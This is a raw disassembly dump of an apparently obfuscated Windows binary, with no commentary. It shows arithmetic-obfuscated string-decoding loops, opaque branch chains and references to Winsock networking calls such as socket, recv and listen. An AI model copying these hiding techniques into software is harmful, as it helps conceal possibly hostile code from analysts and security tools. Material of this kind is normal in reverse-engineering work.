lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007f4a7
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14007f47a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007f452
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007f240
lea r8, [r9 + 3]
lea r9, [r8 + 0xa]
jmp 0x14007f240
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 7
add r10b, dl
jmp 0x14007f230
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1d
jmp 0x14007f1d0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
jmp 0x14007f165
movabs rdx, 0x84b3df369adc4108
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x14007fd52
movabs rcx, 0xd5689675f472034e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
inc r9
dec rbx
inc rbx
jmp 0x14007f152
movabs rcx, 0x261d4db54e07c594
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
dec rbx
inc rbx
jmp 0x14007f152
movabs rdx, 0x76d204f4a79d87da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007fda3
movabs rdx, 0xc786bc3401334a20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f152
movabs rdx, 0x183b73735ac90c66
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f152
movabs rdx, 0x68f02ab2b45eceac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007fc0e
movabs rdx, 0xb9a4e1f20df490f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007fc41
movabs rdx, 0xa599931678a5338
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xcc0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f152
movabs rcx, 0xd41d634fc780b8e7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x51
mov byte [rbp + rbx + 0xcc0], r10b
inc rbx
jmp 0x14007f152
movabs rcx, 0x24d21a8f21167b2d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
cmp r9, 0x40
jb 0x14007f61a
movabs rdx, 0xebff7e61272a4c0e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14007fd52
movabs rdx, 0x7586d1ce7aac3d73
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x25
add r10b, dl
cmp r8, 0x42
jae 0x14007fbbd
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14007fae3
movabs rdx, 0x130ea6daa703e2ca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007f649
movabs rcx, 0xc63b890dd441ffb9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
lea rax, [r8 + r9]
cmp rax, 0x64
je 0x14007fbed
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14007fa0f
movabs rcx, 0x62782af3d3a85aa9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x61
jmp 0x14007f69c
movabs rcx, 0x2386e768f42530c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
movzx eax, byte [rbp + rbx + 0xcc0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f152
movabs rcx, 0x743b9ea84dbaf30c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x54
jmp 0x14007fc41
movabs rcx, 0xc4f055e7a750b552
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x14007fc0e
movabs rcx, 0x15a50d2700e67798
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f152
movabs rcx, 0x6659c4665a7c39de
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x12
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f152
movabs rdx, 0xb70e7ba5b411fc24
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007fda3
movabs rdx, 0x7c332e50da7be6a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007f152
movabs rdx, 0x5877ea24673d80b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007f152
movabs rdx, 0xa92ca163c0d342f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007fd52
lea rax, [r9 + 3]
cmp r8, rax
jae 0x14007f8fd
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xb
jmp 0x14007f6fe
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007f940
movabs rdx, 0x612cf7cda6b71042
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xcc0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f152
inc rax
cmp r8, rax
jne 0x14007f971
movabs rdx, 0x1078408e4d214dfc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007fc41
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007f9a4
movabs rcx, 0x7cf0ac518d34829e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x52
dec rbx
inc rbx
jmp 0x14007f152
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007f9da
movabs rcx, 0x2c3bf512339ec058
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x68
inc r9
dec rbx
inc rbx
jmp 0x14007f152
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007f6fe
movabs rdx, 0xdb873dd2da08fe12
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7e
add r10b, dl
jmp 0x14007fd52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007fa3c
movabs rcx, 0x11c373b47a129863
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4b
jmp 0x14007fd52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007fa70
movabs rcx, 0x705a0535c6e713d7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1f
dec rbx
inc rbx
jmp 0x14007f152
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007fab1
movabs rcx, 0xcef096b713bb8f4b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xd
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f152
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007f69c
movabs rdx, 0x2d87283860900abf
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x39
jmp 0x14007fc0b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007fb26
movabs rdx, 0xc259ef9b4d6e2084
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xcc0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f152
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007fb58
movabs rdx, 0x20f0811c9a429bf8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007fc0e
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007fb8c
movabs rcx, 0xde1da41f33eb92e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x14007f152
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007f649
movabs rcx, 0x3cb435a080c00e54
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4c
jmp 0x14007fd52
movabs rdx, 0x9b4ac721cd9489c8
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xcc0]
sub r10b, al
sub r10b, 0x78
add r10b, dl
add r10b, r11b
jmp 0x14007fda3
movabs rdx, 0x4a960fe273fec782
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
movabs rdx, 0x223bb442c733e65f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xcc0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xf9e158a31a69053c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xcc0], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xcc0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f152
movabs rcx, 0xda3c0aacad17b3ab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
movzx eax, byte [rbp + rbx + 0xcc0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f152
movabs rdx, 0x6dc39ee96d047f09
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3f
add r10b, dl
jmp 0x14007fda3
movabs rcx, 0xbe785628c69a414f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
dec rbx
inc rbx
jmp 0x14007f152
movabs rcx, 0x5fe1c4a779c5c5db
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
jmp 0x14007fd52
movabs rcx, 0x14b33262cf14a67
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
movabs rcx, 0xc3a522c17a5f6aeb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6d
add cl, r11b
mov byte [rbp + rbx + 0xcc0], cl
inc r9
dec rbx
inc rbx
jmp 0x14007f152
movabs rcx, 0xf36958e439b29139
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x71
movabs rcx, 0x72f06b8220c9a8a5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x7d
add r11b, cl
add r11b, r10b
mov byte [rbp + rbx + 0xcc0], r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f152
movabs rcx, 0x94d2c762ecde15c5
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x63
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f152
movabs rcx, 0x86f0ed20f99f5c97
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x21
movzx eax, byte [rbp + rbx + 0xcc0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f152
movabs rcx, 0x90e660b3a9908d1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x49
jmp 0x14007f150
movabs rcx, 0x59c31d4a942ecb17
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
jmp 0x14007f140
lea rsi, [rbp + 0x170c93c]
jmp 0x14007feae
lea rsi, [rbp + 0x165e819]
jmp 0x14007feae
lea rsi, [rbp + 0xcc0]
lea rdx, [0x14021ad10]
lea rcx, [rbp + 0x5a0]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x140]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rdi + 0x38], 0
jne 0x1400a26f3
mov byte [rbp + 0x810], Ordinal_200
mov byte [rbp + 0x811], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x812], gethostname
mov byte [rbp + 0x813], 0x56
mov byte [rbp + 0x814], 0x51
mov byte [rbp + 0x815], Ordinal_143
mov byte [rbp + 0x816], 0xb7
mov byte [rbp + 0x817], 0x5d
mov byte [rbp + 0x818], 0x5a
mov byte [rbp + 0x819], 0x56
mov byte [rbp + 0x81a], 0x5e
mov byte [rbp + 0x81b], 0x56
mov byte [rbp + 0x81c], 0x5d
mov byte [rbp + 0x81d], 0x55
mov byte [rbp + 0x81e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x81f], 0xe7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x820], xmm0
mov word [rbp + 0x830], ax
mov byte [rbp + 0x832], al
movabs r14, 0x22a47c372284a601
movabs r15, 0xf17db0179b55a01f
movabs r12, 0xb13d42bd05c2e5a5
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
movabs rcx, 0xa02036ad4ac95d3d
cmp rbx, 0x23
jae 0x140080e54
movzx r11d, byte [rbp + rbx + 0x810]
mov rdx, r11
cmp r8, rbx
ja 0x140080e4b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14008000d
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x55
jmp 0x140080040
je 0x140080dc6
lea rax, [r9 + 2]
cmp r8, rax
je 0x140080d2c
lea rax, [r9 + 3]
cmp r8, rax
je 0x140080d02
lea rax, [r9 + 5]
cmp r8, rax
je 0x140080cb1
nop word [rax + rax]
cmp r9, rbx
ja 0x140080e42
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14008006d
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
jmp 0x1400800c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140080c90
inc rax
cmp r8, rax
je 0x140080c63
lea rax, [r9 + 3]
cmp r8, rax
je 0x140080c38
lea rax, [r9 + 4]
cmp r8, rax
je 0x140080c00
lea rax, [r9 + 2]
cmp r8, rax
je 0x140080bd8
lea rax, [r9 + 6]
cmp r8, rax
je 0x140080ba2
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14008075a
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140080732
lea rax, [r9 + 5]
cmp r8, rax
je 0x140080700
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400806d6
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400806b1
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140080688
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140080653
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14008062f
lea rax, [r9 + 4]
cmp r8, rax
je 0x140080606
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400805d0
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400800d0
lea r8, [r9 + 5]
lea r9, [r8 + 9]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x140080e1e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140080df9
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400802c6
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400802a7
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140080288
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140080572
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14008050d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400804c1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140080491
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400800d0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x40]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140080457
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008042e
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140080406
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400803cd
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400803a4
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140080380
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140080351
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008031f
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400802f7
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400800d0
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x3e8]
jmp 0x1400800d0
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x27
add r10b, dl
jmp 0x1400800c0
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7d
add r10b, dl
jmp 0x140080040
movabs rdx, 0x70fcd56270302b2b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x2d
add r10b, dl
movabs rcx, 0xa02036ad4ac95d3d
jmp 0x14007ffdf
movabs rdx, 0x1523e1b914253008
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
add r10b, dl
jmp 0x140080cd0
movabs rdx, 0xd4e3745e7e92758e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007ffc2
movabs rdx, 0x94a30703e8ffbb14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14007ffc2
movabs rcx, 0x546299a9536d009a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x140080b4d
movabs rdx, 0x14222c4ebdda4620
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140080c20
movabs rdx, 0xd3e1bef428478ba6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ffc2
movabs rdx, 0x93a1519992b4d12c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x140080d4d
movabs rdx, 0x5360e43efd2216b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140080d80
movabs rdx, 0x132076e4678f5c38
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
movabs rcx, 0xf27f6581f1a08a07
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x31
mov byte [rbp + rbx + 0x810], r10b
inc rbx
jmp 0x14007ffc2
movabs rcx, 0xb23ef8275c0dcf8d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x25
cmp r9, 0x61
jb 0x1400804b1
movabs rcx, 0xccd5c90bcc3b264e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x44]
jmp 0x140080cd0
movabs rcx, 0x71fe8accc67b1513
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7b
cmp r8, 0x80
jae 0x140080b22
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400809ee
movabs rdx, 0x4a518381f47fdd8a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400804e0
movabs rcx, 0x31be1d7230e85a99
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
lea rax, [r8 + r9]
cmp rax, 2
je 0x140080b7c
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400808a6
movabs rcx, 0x27ad074ad1fb3789
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x14008052c
movabs rcx, 0xcfdae94acf1be406
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2a
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
movabs rdx, 0x8f9a7bf03989298c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140080d80
movabs rcx, 0x4f5a0e95a3f66f12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
jmp 0x140080d4d
movabs rcx, 0xf19a13b0e63b498
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ffc2
movabs rdx, 0xced933e078d0fa1e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140080c20
movabs rdx, 0x8e98c685e33e3fa4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
jmp 0x140080b4a
movabs rcx, 0x4e58592b4dab852a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
dec rbx
inc rbx
jmp 0x14007ffc2
movabs rdx, 0xe17ebd0b818cab0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14007ffc2
movabs rdx, 0xcdd77e7622861036
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7a
add r10b, dl
jmp 0x140080cd0
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14008078b
movabs rdx, 0xa02036ad4ac95d3d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x55
add r10b, dl
jmp 0x140080591
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400807ca
movabs rcx, 0x4548f86e45094c02
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xe
movzx eax, byte [rbp + rbx + 0x810]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400807fc
movabs rdx, 0xc5c9d323702ec0f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140080d4d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140080839
movabs rcx, 0x60a407e05c17b70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140080870
movabs rcx, 0x70bf5e85c0c6558
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
inc r9
dec rbx
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140080591
movabs rdx, 0x474c6342f19f1fd2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140080cd0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400808d7
movabs rdx, 0x67ed74a5678df203
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x15
add r10b, dl
jmp 0x140080cd0
inc rax
cmp r8, rax
jne 0x14008090d
movabs rcx, 0xa82de1fffd20ac7d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6b
inc r9
dec rbx
inc rbx
jmp 0x14007ffc2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140080941
movabs rcx, 0xe86e4f5a92b366f7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
